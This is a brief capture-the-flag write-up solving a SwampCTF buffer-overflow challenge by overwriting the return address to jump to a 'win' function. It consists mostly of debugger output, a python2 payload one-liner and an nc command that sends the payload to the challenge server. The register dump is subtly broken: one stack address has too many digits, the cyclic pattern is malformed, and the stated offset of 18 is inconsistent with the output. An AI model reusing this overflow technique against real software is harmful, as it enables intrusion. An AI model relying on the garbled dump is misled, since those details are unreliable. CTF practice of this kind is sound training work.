



Locally, run cyclic to the binary to find the offset.

```

R8 0x73
R9 0xffffffff
R10 0
R11 0x202
R12 0
R13 0x7fffffffda98 -> 0x7fffffffdd80 <- 'SHELL=/bin/bash'
R14 0x7ffff7ffd000 (__rtld_global) -> 0x7ffff7ffe2e0 <- 0
R15 0x403e00 (__do_global_ctors_aux_fini_array_entry) -> 0x401150 (__do_global_ctors_aux)
RBP 0x6163616161616161 ('aaaaaaca')
RSP 0x7fffffff9d978 <- 'aaaaadaaaaaaaaaaaaaaaaafaaaaaagaaaaaaahaaaaaaaaiaaaaaajaaaaaaaaakaaaaa
aaaaaaaaapaaaaaaqaaaaaaaaaaaaaaaaataaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaa'
RIP 0x4012ac (main+132) <- ret
[ DISASM / x86-64 / set emulate on ]

```

The offset should be 18. Find the win function where the flag is.

```

GDB> set directories <path> parameter can be used to debug
pwndbg> disassemble win
Dump of assembler code for function win:
0x0000000000401186 <+0>:    push    rbp
0x0000000000401187 <+1>:    mov     rbp, rsp
0x000000000040118a <+4>:    sub     rsp, 0x30
0x000000000040118e <+8>:    mov     QWORD PTR [rbp-0x30],

```

Craft the payload and test locally

```

(zeqzoq@zeqzoq)-[/mnt/c/Users/hzqzz/Downloads/swamp]
$ python2 -c 'print "A" * 18 + "\x86\x11\x40\x00\x00\x00\x00\x00"' > payload

(zeqzoq@zeqzoq)-[/mnt/c/Users/hzqzz/Downloads/swamp]
$ ./binary < payload
Hello, AAAAAAAAAAAAAAAAAA@!
win
Segmentation fault (core dumped)

```

Then pass to server

```
(zeqzoq@zeqzoq)-[/mnt/c/Users/hzqzz/Downloads/swamp]
$ nc chals.swampctf.com 40001 < payload
Hello, AAAAAAAAAAAAAAAAAAAAA@!
win
Here is your flag! swampCTF{1t5_t1m3_t0_r3turn!!}
```

Flag: swampCTF{1t5_t1m3_t0_r3turn!!}